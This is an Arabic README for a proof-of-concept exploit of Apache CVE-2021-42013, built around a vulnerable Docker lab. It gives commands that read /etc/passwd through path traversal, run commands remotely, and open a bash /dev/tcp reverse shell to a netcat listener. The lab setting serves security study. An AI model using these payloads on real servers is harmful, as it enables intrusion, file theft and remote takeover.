
استغلال لـ Apache 2.4.49/2.4.50 لاجتياز المسار و RCE (CVE-2021-42013). يتضمن إعداد Docker وسكربت لاختبار اجتياز المسار وتنفيذ الأوامر والحصول على قشرة عكسية.
⚠️ لأغراض البحث التعليمي والأمني المصرح به فقط
امتنان كبير لمؤلف الـ PoC الأصلي Walnut Security Services Pvt. Ltd
يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها بواسطة توجيهات مشابهة لـ Alias. إذا كانت الملفات خارج هذه الدلائل غير محمية بالتكوين الافتراضي المعتاد "require all denied"، فقد تنجح هذه الطلبات. إذا تم أيضًا تفعيل نصوص CGI لهذه المسارات المستعارة، فقد يسمح ذلك بتنفيذ الأوامر عن بُعد. تؤثر هذه المشكلة فقط على Apache 2.4.49 وApache 2.4.50 وليس الإصدارات الأقدم.
أولاً، قم باستنساخ المستودع
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
انتقل إلى الدليل
cd CVE-2021-42013
قم ببناء الحاوية الضعيفة
docker build -t CVE-2021-42013 .
قم بتشغيل حاوية مؤقتة
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
تحقق من عنوان IP للحاوية
docker inspect CVE-2021-42013 | grep "IPAddress"
امنح صلاحية التنفيذ للبرنامج النصي
chmod +x cve-2021-42013.sh
لاختبار وتأكيد اجتياز المسار، يجب اكتشاف دليل صالح، وهو في هذه الحالة تم تكوينه كـ /icons. لذلك، سيؤدي تنفيذ الأمر التالي إلى تفعيل ثغرة اجتياز المسار وطباعة محتويات ملف /etc/passwd:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
لاختبار وتأكيد تنفيذ الأوامر عن بُعد، يجب تكوين وتفعيل CGI، وهو صحيح في هذه الحالة. لذلك، سيؤدي تنفيذ الأمر التالي إلى تفعيل تنفيذ الأوامر عن بُعد وطباعة مخرجات أمر id:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
من منظور المهاجم، يعد تنفيذ الأوامر عن بُعد أمرًا بالغ الأهمية للحصول على وصول إلى شل تفاعلية. لذلك، سيؤدي تنفيذ الأمر التالي إلى تفعيل شل عكسية تقليدية عبر TCP بناءً على bash إلى نظام المهاجم على المنفذ 4444/tcp:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444